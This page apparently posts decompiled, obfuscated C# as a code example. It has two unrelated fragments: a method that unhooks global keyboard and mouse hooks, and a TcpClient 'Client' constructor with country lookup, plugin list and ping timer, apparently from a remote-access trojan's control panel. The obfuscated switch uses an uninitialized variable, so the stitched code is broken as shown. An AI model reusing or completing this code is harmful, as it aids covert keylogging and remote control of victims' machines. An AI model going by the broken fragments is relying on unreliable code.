Exemple #1
0
    // Token: 0x06000064 RID: 100 RVA: 0x00005448 File Offset: 0x00003648
    public void method_1()
    {
        if (this.bool_1)
        {
            for (;;)
            {
IL_79:
                this.ikeyboardMouseEvents_0.KeyDown -= this.ikeyboardMouseEvents_0_KeyDown;
                for (;;)
                {
IL_60:
                    this.ikeyboardMouseEvents_0.KeyUp -= this.ikeyboardMouseEvents_0_KeyUp;
                    for (;;)
                    {
                        this.ikeyboardMouseEvents_0.Dispose();
                        GClass4 gclass = this.gclass4_0;
                        if (gclass != null)
                        {
                            gclass.method_1();
                            uint num;
                            switch ((num = (num * 4243763548u ^ 418243807u ^ 1079495160u)) % 7u)
                            {
                            case 0u:
                                goto IL_60;

                            case 2u:
                                goto IL_94;

                            case 3u:
                            case 4u:
                                return;

                            case 5u:
                                continue;

                            case 6u:
                                goto IL_79;
                            }
                            goto Block_3;
                        }
                        goto IL_93;
                    }
                }
            }
Block_3:
            return;

IL_93:
IL_94:
            this.bool_1 = false;
            return;
        }
    }
 // Token: 0x06000422 RID: 1058 RVA: 0x001D3564 File Offset: 0x001D1964
 public Client(TcpClient c, SK sk)
 {
     this.bool_0   = false;
     this.CN       = true;
     this.CName    = "Unknown";
     this.Co       = "--";
     this.int_0    = 5;
     this.Isend    = false;
     this.isPL     = false;
     this.IsPNGED  = false;
     this.lastAC   = string.Empty;
     this.lastPC   = default(DateTime);
     this.lastPing = DateTime.Now;
     this.msec     = 0L;
     this.NoPing   = false;
     this.plg      = new List <string>();
     this.string_0 = string.Empty;
     this.t        = new System.Threading.Timer(new TimerCallback(this.lam__6), null, 0, 3000);
     this.M        = new MemoryStream();
     this.b        = new byte[1];
     this.string_1 = string.Empty;
     this.Length   = -1L;
     this.osk      = null;
     this.bool_1   = false;
     this.Client   = c;
     this.SK       = sk;
     try
     {
         GClass4 gclass = Class7.gclass3_0.method_4(c.Client.RemoteEndPoint.ToString().Split(new char[]
         {
             ':'
         })[0]);
         this.Co    = gclass.method_0();
         this.CName = gclass.method_1();
         bool flag = Operators.CompareString(this.Co, "A1", false) == 0 | Operators.CompareString(this.Co, "A2", false) == 0;
         if (flag)
         {
             this.Co = "--";
         }
         flag = !Class7.form1_0.IMG2.Images.ContainsKey(this.Co + ".png");
         if (flag)
         {
             this.Co = "--";
         }
         this.COI = (Bitmap)Class7.form1_0.IMG2.Images[this.Co + ".png"];
     }
     catch (Exception ex)
     {
     }
     this.Client.Client.BeginReceive(this.b, 0, this.b.Length, SocketFlags.None, new AsyncCallback(this.b_read), null);
 }